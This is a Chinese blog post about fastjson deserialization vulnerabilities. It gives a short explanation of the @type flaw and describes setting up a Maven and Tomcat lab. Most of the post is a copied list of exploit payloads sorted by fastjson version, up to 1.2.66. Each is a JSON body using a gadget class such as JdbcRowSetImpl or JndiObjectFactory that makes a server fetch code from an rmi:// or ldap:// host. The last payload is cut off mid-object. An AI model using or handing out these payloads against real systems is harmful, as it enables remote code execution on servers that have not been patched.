fastjson漏洞

前言

fastjson是alibaba开源的一个json解析库,将java对象和JSON格式字符相互转换。

jackson也有这样类似功能。Spring MVC 默认采用Jackson解析Json

https://github.com/alibaba/fastjson

原理解释:

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从

而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据

这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

环境配置

配置环境配了两个小时。。。各种报错

maven环境:http://maven.apache.org/download.cgi

idea 创建maven 项目

1
2
3
4
5
6
pom.xml引入fastjson依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>

然后处理各种报错

1
2
3
4
pom.xml 加入
<build>
<defaultGoal>compile</defaultGoal>.
</build>

然后配置tomcat:Apache Tomcat® - Apache Tomcat 9 Software Downloads

Edit Configurations 配置:

image-20220417224659876

然后配置Project Structure :(28条消息) IDEA出现Please,configure Web Facet first的解决方式,或者是Servlet启动后 404_扶她小藜的博客-CSDN博客_idea please

参考:(28条消息) 在IDEA中创建maven项目,使用Fastjson 介绍json转换_华大哥的博客-CSDN博客_fastjson idea

复现log4j2 的时候也用到了下面两个请求方式

jndi

rmi

Fastjson 多版本payload集合

copy的零组文库

影响版本:

fastjson<=1.2.24

exp:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.41

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.42

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.43

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.45

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

影响版本:

fastjson<=1.2.47

exp:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}

影响版本:

fastjson<=1.2.62

exp:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

影响版本:

fastjson<=1.2.66

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
2
3
4
5
6
7
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {

bypass

浅谈fastjson waf Bypass思路-SecIN (sec-in.com)

参考

safe6Sec/Fastjson: Fastjson姿势技巧集合 (github.com)

https://github.com/alibaba/fastjson

零组文库

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信